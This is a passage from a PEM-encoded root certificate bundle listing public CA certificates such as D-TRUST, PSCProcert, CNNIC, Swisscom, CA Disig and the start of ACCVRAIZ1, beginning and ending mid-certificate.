Fw0wOTExMDUwODM1NThaFw0yOTExMDUwODM1NThaME0xCzAJBgNVBAYTAkRFMRUwEwYDVQQKDAxE LVRydXN0IEdtYkgxJzAlBgNVBAMMHkQtVFJVU1QgUm9vdCBDbGFzcyAzIENBIDIgMjAwOTCCASIw DQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBANOySs96R+91myP6Oi/WUEWJNTrGa9v+2wBoqOAD ER03UAifTUpolDWzU9GUY6cgVq/eUXjsKj3zSEhQPgrfRlWLJ23DEE0NkVJD2IfgXU42tSHKXzlA BF9bfsyjxiupQB7ZNoTWSPOSHjRGICTBpFGOShrvUD9pXRl/RcPHAY9RySPocq60vFYJfxLLHLGv KZAKyVXMD9O0Gu1HNVpK7ZxzBCHQqr0ME7UAyiZsxGsMlFqVlNpQmvH/pStmMaTJOKDfHR+4CS7z p+hnUquVH+BGPtikw8paxTGA6Eian5Rp/hnd2HN8gcqW3o7tszIFZYQ05ub9VxC1X3a/L7AQDcUC AwEAAaOCARowggEWMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFP3aFMSfMN4hvR5COfyrYyNJ 4PGEMA4GA1UdDwEB/wQEAwIBBjCB0wYDVR0fBIHLMIHIMIGAoH6gfIZ6bGRhcDovL2RpcmVjdG9y eS5kLXRydXN0Lm5ldC9DTj1ELVRSVVNUJTIwUm9vdCUyMENsYXNzJTIwMyUyMENBJTIwMiUyMDIw MDksTz1ELVRydXN0JTIwR21iSCxDPURFP2NlcnRpZmljYXRlcmV2b2NhdGlvbmxpc3QwQ6BBoD+G PWh0dHA6Ly93d3cuZC10cnVzdC5uZXQvY3JsL2QtdHJ1c3Rfcm9vdF9jbGFzc18zX2NhXzJfMjAw OS5jcmwwDQYJKoZIhvcNAQELBQADggEBAH+X2zDI36ScfSF6gHDOFBJpiBSVYEQBrLLpME+bUMJm 2H6NMLVwMeniacfzcNsgFYbQDfC+rAF1hM5+n02/t2A7nPPKHeJeaNijnZflQGDSNiH+0LS4F9p0 o3/U37CYAqxva2ssJSRyoWXuJVrl5jLn8t+rSfrzkGkj2wTZ51xY/GXUl77M/C4KzCUqNQT4YJEV dT1B/yMfGchs64JTBKbkTCJNjYy6zltz7GRUUG3RnFX7acM2w4y8PIWmawomDeCTmGCufsYkl4ph X5GOZpIJhzbNi5stPvZR1FDUWSi9g/LMKHtThm3YJohw1+qRzT65ysCQblrGXnRl11z+o+I= -----END CERTIFICATE----- D-TRUST Root Class 3 CA 2 EV 2009 ================================= -----BEGIN CERTIFICATE----- MIIEQzCCAyugAwIBAgIDCYP0MA0GCSqGSIb3DQEBCwUAMFAxCzAJBgNVBAYTAkRFMRUwEwYDVQQK DAxELVRydXN0IEdtYkgxKjAoBgNVBAMMIUQtVFJVU1QgUm9vdCBDbGFzcyAzIENBIDIgRVYgMjAw OTAeFw0wOTExMDUwODUwNDZaFw0yOTExMDUwODUwNDZaMFAxCzAJBgNVBAYTAkRFMRUwEwYDVQQK DAxELVRydXN0IEdtYkgxKjAoBgNVBAMMIUQtVFJVU1QgUm9vdCBDbGFzcyAzIENBIDIgRVYgMjAw OTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAJnxhDRwui+3MKCOvXwEz75ivJn9gpfS egpnljgJ9hBOlSJzmY3aFS3nBfwZcyK3jpgAvDw9rKFs+9Z5JUut8Mxk2og+KbgPCdM03TP1YtHh zRnp7hhPTFiu4h7WDFsVWtg6uMQYZB7jM7K1iXdODL/ZlGsTl28So/6ZqQTMFexgaDbtCHu39b+T 7WYxg4zGcTSHThfqr4uRjRxWQa4iN1438h3Z0S0NL2lRp75mpoo6Kr3HGrHhFPC+Oh25z1uxav60 sUYgovseO3Dvk5h9jHOW8sXvhXCtKSb8HgQ+HKDYD8tSg2J87otTlZCpV6LqYQXY+U3EJ/pure35 11H3a6UCAwEAAaOCASQwggEgMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFNOUikxiEyoZLsyv cop9NteaHNxnMA4GA1UdDwEB/wQEAwIBBjCB3QYDVR0fBIHVMIHSMIGHoIGEoIGBhn9sZGFwOi8v ZGlyZWN0b3J5LmQtdHJ1c3QubmV0L0NOPUQtVFJVU1QlMjBSb290JTIwQ2xhc3MlMjAzJTIwQ0El MjAyJTIwRVYlMjAyMDA5LE89RC1UcnVzdCUyMEdtYkgsQz1ERT9jZXJ0aWZpY2F0ZXJldm9jYXRp b25saXN0MEagRKBChkBodHRwOi8vd3d3LmQtdHJ1c3QubmV0L2NybC9kLXRydXN0X3Jvb3RfY2xh c3NfM19jYV8yX2V2XzIwMDkuY3JsMA0GCSqGSIb3DQEBCwUAA4IBAQA07XtaPKSUiO8aEXUHL7P+ PPoeUSbrh/Yp3uDx1MYkCenBz1UbtDDZzhr+BlGmFaQt77JLvyAoJUnRpjZ3NOhk31KxEcdzes05 nsKtjHEh8lprr988TlWvsoRlFIm5d8sqMb7Po23Pb0iUMkZv53GMoKaEGTcH8gNFCSuGdXzfX2lX ANtu2KZyIktQ1HWYVt+3GP9DQ1CuekR78HlR10M9p9OB0/DJT7naxpeG0ILD5EJt/rDiZE4OJudA NCa1CInXCGNjOCd1HjPqbqjdn5lPdE2BiYBL3ZqXKVwvvoFBuYz/6n1gBp7N1z3TLqMVvKjmJuVv w9y4AyHqnxbxLFS1 -----END CERTIFICATE----- PSCProcert ========== -----BEGIN CERTIFICATE----- MIIJhjCCB26gAwIBAgIBCzANBgkqhkiG9w0BAQsFADCCAR4xPjA8BgNVBAMTNUF1dG9yaWRhZCBk ZSBDZXJ0aWZpY2FjaW9uIFJhaXogZGVsIEVzdGFkbyBWZW5lem9sYW5vMQswCQYDVQQGEwJWRTEQ MA4GA1UEBxMHQ2FyYWNhczEZMBcGA1UECBMQRGlzdHJpdG8gQ2FwaXRhbDE2MDQGA1UEChMtU2lz dGVtYSBOYWNpb25hbCBkZSBDZXJ0aWZpY2FjaW9uIEVsZWN0cm9uaWNhMUMwQQYDVQQLEzpTdXBl cmludGVuZGVuY2lhIGRlIFNlcnZpY2lvcyBkZSBDZXJ0aWZpY2FjaW9uIEVsZWN0cm9uaWNhMSUw IwYJKoZIhvcNAQkBFhZhY3JhaXpAc3VzY2VydGUuZ29iLnZlMB4XDTEwMTIyODE2NTEwMFoXDTIw MTIyNTIzNTk1OVowgdExJjAkBgkqhkiG9w0BCQEWF2NvbnRhY3RvQHByb2NlcnQubmV0LnZlMQ8w DQYDVQQHEwZDaGFjYW8xEDAOBgNVBAgTB01pcmFuZGExKjAoBgNVBAsTIVByb3ZlZWRvciBkZSBD ZXJ0aWZpY2Fkb3MgUFJPQ0VSVDE2MDQGA1UEChMtU2lzdGVtYSBOYWNpb25hbCBkZSBDZXJ0aWZp Y2FjaW9uIEVsZWN0cm9uaWNhMQswCQYDVQQGEwJWRTETMBEGA1UEAxMKUFNDUHJvY2VydDCCAiIw DQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBANW39KOUM6FGqVVhSQ2oh3NekS1wwQYalNo97BVC wfWMrmoX8Yqt/ICV6oNEolt6Vc5Pp6XVurgfoCfAUFM+jbnADrgV3NZs+J74BCXfgI8Qhd19L3uA 3VcAZCP4bsm+lU/hdezgfl6VzbHvvnpC2Mks0+saGiKLt38GieU89RLAu9MLmV+QfI4tL3czkkoh RqipCKzx9hEC2ZUWno0vluYC3XXCFCpa1sl9JcLB/KpnheLsvtF8PPqv1W7/U0HU9TI4seJfxPmO EO8GqQKJ/+MMbpfg353bIdD0PghpbNjU5Db4g7ayNo+c7zo3Fn2/omnXO1ty0K+qP1xmk6wKImG2 0qCZyFSTXai20b1dCl53lKItwIKOvMoDKjSuc/HUtQy9vmebVOvh+qBa7Dh+PsHMosdEMXXqP+UH 0quhJZb25uSgXTcYOWEAM11G1ADEtMo88aKjPvM6/2kwLkDd9p+cJsmWN63nOaK/6mnbVSKVUyqU td+tFjiBdWbjxywbk5yqjKPK2Ww8F22c3HxT4CAnQzb5EuE8XL1mv6JpIzi4mWCZDlZTOpx+FIyw Bm/xhnaQr/2v/pDGj59/i5IjnOcVdo/Vi5QTcmn7K2FjiO/mpF7moxdqWEfLcU8UC17IAggmosvp r2uKGcfLFFb14dq12fy/czja+eevbqQ34gcnAgMBAAGjggMXMIIDEzASBgNVHRMBAf8ECDAGAQH/ AgEBMDcGA1UdEgQwMC6CD3N1c2NlcnRlLmdvYi52ZaAbBgVghl4CAqASDBBSSUYtRy0yMDAwNDAz Ni0wMB0GA1UdDgQWBBRBDxk4qpl/Qguk1yeYVKIXTC1RVDCCAVAGA1UdIwSCAUcwggFDgBStuyId xuDSAaj9dlBSk+2YwU2u06GCASakggEiMIIBHjE+MDwGA1UEAxM1QXV0b3JpZGFkIGRlIENlcnRp ZmljYWNpb24gUmFpeiBkZWwgRXN0YWRvIFZlbmV6b2xhbm8xCzAJBgNVBAYTAlZFMRAwDgYDVQQH EwdDYXJhY2FzMRkwFwYDVQQIExBEaXN0cml0byBDYXBpdGFsMTYwNAYDVQQKEy1TaXN0ZW1hIE5h Y2lvbmFsIGRlIENlcnRpZmljYWNpb24gRWxlY3Ryb25pY2ExQzBBBgNVBAsTOlN1cGVyaW50ZW5k ZW5jaWEgZGUgU2VydmljaW9zIGRlIENlcnRpZmljYWNpb24gRWxlY3Ryb25pY2ExJTAjBgkqhkiG 9w0BCQEWFmFjcmFpekBzdXNjZXJ0ZS5nb2IudmWCAQowDgYDVR0PAQH/BAQDAgEGME0GA1UdEQRG MESCDnByb2NlcnQubmV0LnZloBUGBWCGXgIBoAwMClBTQy0wMDAwMDKgGwYFYIZeAgKgEgwQUklG LUotMzE2MzUzNzMtNzB2BgNVHR8EbzBtMEagRKBChkBodHRwOi8vd3d3LnN1c2NlcnRlLmdvYi52 ZS9sY3IvQ0VSVElGSUNBRE8tUkFJWi1TSEEzODRDUkxERVIuY3JsMCOgIaAfhh1sZGFwOi8vYWNy YWl6LnN1c2NlcnRlLmdvYi52ZTA3BggrBgEFBQcBAQQrMCkwJwYIKwYBBQUHMAGGG2h0dHA6Ly9v Y3NwLnN1c2NlcnRlLmdvYi52ZTBBBgNVHSAEOjA4MDYGBmCGXgMBAjAsMCoGCCsGAQUFBwIBFh5o dHRwOi8vd3d3LnN1c2NlcnRlLmdvYi52ZS9kcGMwDQYJKoZIhvcNAQELBQADggIBACtZ6yKZu4Sq T96QxtGGcSOeSwORR3C7wJJg7ODU523G0+1ng3dS1fLld6c2suNUvtm7CpsR72H0xpkzmfWvADmN g7+mvTV+LFwxNG9s2/NkAZiqlCxB3RWGymspThbASfzXg0gTB1GEMVKIu4YXx2sviiCtxQuPcD4q uxtxj7mkoP3YldmvWb8lK5jpY5MvYB7Eqvh39YtsL+1+LrVPQA3uvFd359m21D+VJzog1eWuq2w1 n8GhHVnchIHuTQfiSLaeS5UtQbHh6N5+LwUeaO6/u5BlOsju6rEYNxxik6SgMexxbJHmpHmJWhSn FFAFTKQAVzAswbVhltw+HoSvOULP5dAssSS830DD7X9jSr3hTxJkhpXzsOfIt+FTvZLm8wyWuevo 5pLtp4EJFAv8lXrPj9Y0TzYS3F7RNHXGRoAvlQSMx4bEqCaJqD8Zm4G7UaRKhqsLEQ+xrmNTbSjq 3TNWOByyrYDT13K9mmyZY+gAu0F2BbdbmRiKw7gSXFbPVgx96OLP7bx0R/vu0xdOIk9W/1DzLuY5 poLWccret9W6aAjtmcz9opLLabid+Qqkpj5PkygqYWwHJgD/ll9ohri4zspV4KuxPX+Y1zMOWj3Y eMLEYC/HYvBhkdI4sPaeVdtAgAUSM84dkpvRabP/v/GSCmE1P93+hvS84Bpxs2Km -----END CERTIFICATE----- China Internet Network Information Center EV Certificates Root ============================================================== -----BEGIN CERTIFICATE----- MIID9zCCAt+gAwIBAgIESJ8AATANBgkqhkiG9w0BAQUFADCBijELMAkGA1UEBhMCQ04xMjAwBgNV BAoMKUNoaW5hIEludGVybmV0IE5ldHdvcmsgSW5mb3JtYXRpb24gQ2VudGVyMUcwRQYDVQQDDD5D aGluYSBJbnRlcm5ldCBOZXR3b3JrIEluZm9ybWF0aW9uIENlbnRlciBFViBDZXJ0aWZpY2F0ZXMg Um9vdDAeFw0xMDA4MzEwNzExMjVaFw0zMDA4MzEwNzExMjVaMIGKMQswCQYDVQQGEwJDTjEyMDAG A1UECgwpQ2hpbmEgSW50ZXJuZXQgTmV0d29yayBJbmZvcm1hdGlvbiBDZW50ZXIxRzBFBgNVBAMM PkNoaW5hIEludGVybmV0IE5ldHdvcmsgSW5mb3JtYXRpb24gQ2VudGVyIEVWIENlcnRpZmljYXRl cyBSb290MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAm35z7r07eKpkQ0H1UN+U8i6y jUqORlTSIRLIOTJCBumD1Z9S7eVnAztUwYyZmczpwA//DdmEEbK40ctb3B75aDFk4Zv6dOtouSCV 98YPjUesWgbdYavi7NifFy2cyjw1l1VxzUOFsUcW9SxTgHbP0wBkvUCZ3czY28Sf1hNfQYOL+Q2H klY0bBoQCxfVWhyXWIQ8hBouXJE0bhlffxdpxWXvayHG1VA6v2G5BY3vbzQ6sm8UY78WO5upKv23 KzhmBsUs4qpnHkWnjQRmQvaPK++IIGmPMowUc9orhpFjIpryp9vOiYurXccUwVswah+xt54ugQEC 7c+WXmPbqOY4twIDAQABo2MwYTAfBgNVHSMEGDAWgBR8cks5x8DbYqVPm6oYNJKiyoOCWTAPBgNV HRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQUfHJLOcfA22KlT5uqGDSSosqD glkwDQYJKoZIhvcNAQEFBQADggEBACrDx0M3j92tpLIM7twUbY8opJhJywyA6vPtI2Z1fcXTIWd5 0XPFtQO3WKwMVC/GVhMPMdoG52U7HW8228gd+f2ABsqjPWYWqJ1MFn3AlUa1UeTiH9fqBk1jjZaM 7+czV0I664zBechNdn3e9rG3geCg+aF4RhcaVpjwTj2rHO3sOdwHSPdj/gauwqRcalsyiMXHM4Ws ZkJHwlgkmeHlPuV1LI5D1l08eB6olYIpUNHRFrrvwb562bTYzB5MRuF3sTGrvSrIzo9uoV1/A3U0 5K2JRVRevq4opbs/eHnrc7MKDf2+yfdWrPa37S+bISnHOLaVxATywy39FCqQmbkHzJ8= -----END CERTIFICATE----- Swisscom Root CA 2 ================== -----BEGIN CERTIFICATE----- MIIF2TCCA8GgAwIBAgIQHp4o6Ejy5e/DfEoeWhhntjANBgkqhkiG9w0BAQsFADBkMQswCQYDVQQG EwJjaDERMA8GA1UEChMIU3dpc3Njb20xJTAjBgNVBAsTHERpZ2l0YWwgQ2VydGlmaWNhdGUgU2Vy dmljZXMxGzAZBgNVBAMTElN3aXNzY29tIFJvb3QgQ0EgMjAeFw0xMTA2MjQwODM4MTRaFw0zMTA2 MjUwNzM4MTRaMGQxCzAJBgNVBAYTAmNoMREwDwYDVQQKEwhTd2lzc2NvbTElMCMGA1UECxMcRGln aXRhbCBDZXJ0aWZpY2F0ZSBTZXJ2aWNlczEbMBkGA1UEAxMSU3dpc3Njb20gUm9vdCBDQSAyMIIC IjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAlUJOhJ1R5tMJ6HJaI2nbeHCOFvErjw0DzpPM LgAIe6szjPTpQOYXTKueuEcUMncy3SgM3hhLX3af+Dk7/E6J2HzFZ++r0rk0X2s682Q2zsKwzxNo ysjL67XiPS4h3+os1OD5cJZM/2pYmLcX5BtS5X4HAB1f2uY+lQS3aYg5oUFgJWFLlTloYhyxCwWJ wDaCFCE/rtuh/bxvHGCGtlOUSbkrRsVPACu/obvLP+DHVxxX6NZp+MEkUp2IVd3Chy50I9AU/SpH Wrumnf2U5NGKpV+GY3aFy6//SSj8gO1MedK75MDvAe5QQQg1I3ArqRa0jG6F6bYRzzHdUyYb3y1a SgJA/MTAtukxGggo5WDDH8SQjhBiYEQN7Aq+VRhxLKX0srwVYv8c474d2h5Xszx+zYIdkeNL6yxS NLCK/RJOlrDrcH+eOfdmQrGrrFLadkBXeyq96G4DsguAhYidDMfCd7Camlf0uPoTXGiTOmekl9Ab mbeGMktg2M7v0Ax/lZ9vh0+Hio5fCHyqW/xavqGRn1V9TrALacywlKinh/LTSlDcX3KwFnUey7QY Ypqwpzmqm59m2I2mbJYV4+by+PGDYmy7Velhk6M99bFXi08jsJvllGov34zflVEpYKELKeRcVVi3 qPyZ7iVNTA6z00yPhOgpD/0QVAKFyPnlw4vP5w8CAwEAAaOBhjCBgzAOBgNVHQ8BAf8EBAMCAYYw HQYDVR0hBBYwFDASBgdghXQBUwIBBgdghXQBUwIBMBIGA1UdEwEB/wQIMAYBAf8CAQcwHQYDVR0O BBYEFE0mICKJS9PVpAqhb97iEoHF8TwuMB8GA1UdIwQYMBaAFE0mICKJS9PVpAqhb97iEoHF8Twu MA0GCSqGSIb3DQEBCwUAA4ICAQAyCrKkG8t9voJXiblqf/P0wS4RfbgZPnm3qKhyN2abGu2sEzsO v2LwnN+ee6FTSA5BesogpxcbtnjsQJHzQq0Qw1zv/2BZf82Fo4s9SBwlAjxnffUy6S8w5X2lejjQ 82YqZh6NM4OKb3xuqFp1mrjX2lhIREeoTPpMSQpKwhI3qEAMw8jh0FcNlzKVxzqfl9NX+Ave5XLz o9v/tdhZsnPdTSpxsrpJ9csc1fV5yJmz/MFMdOO0vSk3FQQoHt5FRnDsr7p4DooqzgB53MBfGWcs a0vvaGgLQ+OswWIJ76bdZWGgr4RVSJFSHMYlkSrQwSIjYVmvRRGFHQEkNI/Ps/8XciATwoCqISxx OQ7Qj1zB09GOInJGTB2Wrk9xseEFKZZZ9LuedT3PDTcNYtsmjGOpI99nBjx8Oto0QuFmtEYE3saW mA9LSHokMnWRn6z3aOkquVVlzl1h0ydw2Df+n7mvoC5Wt6NlUe07qxS/TFED6F+KBZvuim6c779o +sjaC+NCydAXFJy3SuCvkychVSa1ZC+N8f+mQAWFBVzKBxlcCxMoTFh/wqXvRdpg065lYZ1Tg3TC rvJcwhbtkj6EPnNgiLx29CzP0H1907he0ZESEOnN3col49XtmS++dYFLJPlFRpTJKSFTnCZFqhMX 5OfNeOI5wSsSnqaeG8XmDtkx2Q== -----END CERTIFICATE----- Swisscom Root EV CA 2 ===================== -----BEGIN CERTIFICATE----- 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 l8PVP3wbI+2ksx0WckNLIOFZfsLorSa/ovc= -----END CERTIFICATE----- CA Disig Root R1 ================ -----BEGIN CERTIFICATE----- MIIFaTCCA1GgAwIBAgIJAMMDmu5QkG4oMA0GCSqGSIb3DQEBBQUAMFIxCzAJBgNVBAYTAlNLMRMw EQYDVQQHEwpCcmF0aXNsYXZhMRMwEQYDVQQKEwpEaXNpZyBhLnMuMRkwFwYDVQQDExBDQSBEaXNp ZyBSb290IFIxMB4XDTEyMDcxOTA5MDY1NloXDTQyMDcxOTA5MDY1NlowUjELMAkGA1UEBhMCU0sx EzARBgNVBAcTCkJyYXRpc2xhdmExEzARBgNVBAoTCkRpc2lnIGEucy4xGTAXBgNVBAMTEENBIERp c2lnIFJvb3QgUjEwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCqw3j33Jijp1pedxiy 3QRkD2P9m5YJgNXoqqXinCaUOuiZc4yd39ffg/N4T0Dhf9Kn0uXKE5Pn7cZ3Xza1lK/oOI7bm+V8 u8yN63Vz4STN5qctGS7Y1oprFOsIYgrY3LMATcMjfF9DCCMyEtztDK3AfQ+lekLZWnDZv6fXARz2 m6uOt0qGeKAeVjGu74IKgEH3G8muqzIm1Cxr7X1r5OJeIgpFy4QxTaz+29FHuvlglzmxZcfe+5nk CiKxLU3lSCZpq+Kq8/v8kiky6bM+TR8noc2OuRf7JT7JbvN32g0S9l3HuzYQ1VTW8+DiR0jm3hTa YVKvJrT1cU/J19IG32PK/yHoWQbgCNWEFVP3Q+V8xaCJmGtzxmjOZd69fwX3se72V6FglcXM6pM6 vpmumwKjrckWtc7dXpl4fho5frLABaTAgqWjR56M6ly2vGfb5ipN0gTco65F97yLnByn1tUD3AjL LhbKXEAz6GfDLuemROoRRRw1ZS0eRWEkG4IupZ0zXWX4Qfkuy5Q/H6MMMSRE7cderVC6xkGbrPAX ZcD4XW9boAo0PO7X6oifmPmvTiT6l7Jkdtqr9O3jw2Dv1fkCyC2fg69naQanMVXVz0tv/wQFx1is XxYb5dKj6zHbHzMVTdDypVP1y+E9Tmgt2BLdqvLmTZtJ5cUoobqwWsagtQIDAQABo0IwQDAPBgNV HRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQUiQq0OJMa5qvum5EY+fU8PjXQ 04IwDQYJKoZIhvcNAQEFBQADggIBADKL9p1Kyb4U5YysOMo6CdQbzoaz3evUuii+Eq5FLAR0rBNR xVgYZk2C2tXck8An4b58n1KeElb21Zyp9HWc+jcSjxyT7Ff+Bw+r1RL3D65hXlaASfX8MPWbTx9B LxyE04nH4toCdu0Jz2zBuByDHBb6lM19oMgY0sidbvW9adRtPTXoHqJPYNcHKfyyo6SdbhWSVhlM CrDpfNIZTUJG7L399ldb3Zh+pE3McgODWF3vkzpBemOqfDqo9ayk0d2iLbYq/J8BjuIQscTK5Gfb VSUZP/3oNn6z4eGBrxEWi1CXYBmCAMBrTXO40RMHPuq2MU/wQppt4hF05ZSsjYSVPCGvxdpHyN85 YmLLW1AL14FABZyb7bq2ix4Eb5YgOe2kfSnbSM6C3NQCjR0EMVrHS/BsYVLXtFHCgWzN4funodKS ds+xDzdYpPJScWc/DIh4gInByLUfkmO+p3qKViwaqKactV2zY9ATIKHrkWzQjX2v3wvkF7mGnjix lAxYjOBVqjtjbZqJYLhkKpLGN/R+Q0O3c+gB53+XD9fyexn9GtePyfqFa3qdnom2piiZk4hA9z7N UaPK6u95RyG1/jLix8NRb76AdPCkwzryT+lf3xkK8jsTQ6wxpLPn6/wY1gGp8yqPNg7rtLG8t0zJ a7+h89n07eLw4+1knj0vllJPgFOL -----END CERTIFICATE----- CA Disig Root R2 ================ -----BEGIN CERTIFICATE----- MIIFaTCCA1GgAwIBAgIJAJK4iNuwisFjMA0GCSqGSIb3DQEBCwUAMFIxCzAJBgNVBAYTAlNLMRMw EQYDVQQHEwpCcmF0aXNsYXZhMRMwEQYDVQQKEwpEaXNpZyBhLnMuMRkwFwYDVQQDExBDQSBEaXNp ZyBSb290IFIyMB4XDTEyMDcxOTA5MTUzMFoXDTQyMDcxOTA5MTUzMFowUjELMAkGA1UEBhMCU0sx EzARBgNVBAcTCkJyYXRpc2xhdmExEzARBgNVBAoTCkRpc2lnIGEucy4xGTAXBgNVBAMTEENBIERp c2lnIFJvb3QgUjIwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCio8QACdaFXS1tFPbC w3OeNcJxVX6B+6tGUODBfEl45qt5WDza/3wcn9iXAng+a0EE6UG9vgMsRfYvZNSrXaNHPWSb6Wia xswbP7q+sos0Ai6YVRn8jG+qX9pMzk0DIaPY0jSTVpbLTAwAFjxfGs3Ix2ymrdMxp7zo5eFm1tL7 A7RBZckQrg4FY8aAamkw/dLukO8NJ9+flXP04SXabBbeQTg06ov80egEFGEtQX6sx3dOy1FU+16S GBsEWmjGycT6txOgmLcRK7fWV8x8nhfRyyX+hk4kLlYMeE2eARKmK6cBZW58Yh2EhN/qwGu1pSqV g8NTEQxzHQuyRpDRQjrOQG6Vrf/GlK1ul4SOfW+eioANSW1z4nuSHsPzwfPrLgVv2RvPN3YEyLRa 5Beny912H9AZdugsBbPWnDTYltxhh5EF5EQIM8HauQhl1K6yNg3ruji6DOWbnuuNZt2Zz9aJQfYE koopKW1rOhzndX0CcQ7zwOe9yxndnWCywmZgtrEE7snmhrmaZkCo5xHtgUUDi/ZnWejBBhG93c+A Ak9lQHhcR1DIm+YfgXvkRKhbhZri3lrVx/k6RGZL5DJUfORsnLMOPReisjQS1n6yqEm70XooQL6i Fh/f5DcfEXP7kAplQ6INfPgGAVUzfbANuPT1rqVCV3w2EYx7XsQDnYx5nQIDAQABo0IwQDAPBgNV HRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQUtZn4r7CU9eMg1gqtzk5WpC5u Qu0wDQYJKoZIhvcNAQELBQADggIBACYGXnDnZTPIgm7ZnBc6G3pmsgH2eDtpXi/q/075KMOYKmFM tCQSin1tERT3nLXK5ryeJ45MGcipvXrA1zYObYVybqjGom32+nNjf7xueQgcnYqfGopTpti72TVV sRHFqQOzVju5hJMiXn7B9hJSi+osZ7z+Nkz1uM/Rs0mSO9MpDpkblvdhuDvEK7Z4bLQjb/D907Je dR+Zlais9trhxTF7+9FGs9K8Z7RiVLoJ92Owk6Ka+elSLotgEqv89WBW7xBci8QaQtyDW2QOy7W8 1k/BfDxujRNt+3vrMNDcTa/F1balTFtxyegxvug4BkihGuLq0t4SOVga/4AOgnXmt8kHbA7v/zjx mHHEt38OFdAlab0inSvtBfZGR6ztwPDUO+Ls7pZbkBNOHlY667DvlruWIxG68kOGdGSVyCh13x01 utI3gzhTODY7z2zp+WsO0PsE6E9312UBeIYMej4hYvF/Y3EMyZ9E26gnonW+boE+18DrG5gPcFw0 sorMwIUY6256s/daoQe/qUKS82Ail+QUoQebTnbAjn39pCXHR+3/H3OszMOl6W8KjptlwlCFtaOg UxLMVYdh84GuEEZhvUQhuMI9dM9+JDX6HAcOmz0iyu8xL4ysEr3vQCj8KWefshNPZiTEUxnpHikV 7+ZtsH8tZ/3zbBt1RqPlShfppNcL -----END CERTIFICATE----- ACCVRAIZ1 ========= -----BEGIN CERTIFICATE----- MIIH0zCCBbugAwIBAgIIXsO3pkN/pOAwDQYJKoZIhvcNAQEFBQAwQjESMBAGA1UEAwwJQUNDVlJB SVoxMRAwDgYDVQQLDAdQS0lBQ0NWMQ0wCwYDVQQKDARBQ0NWMQswCQYDVQQGEwJFUzAeFw0xMTA1 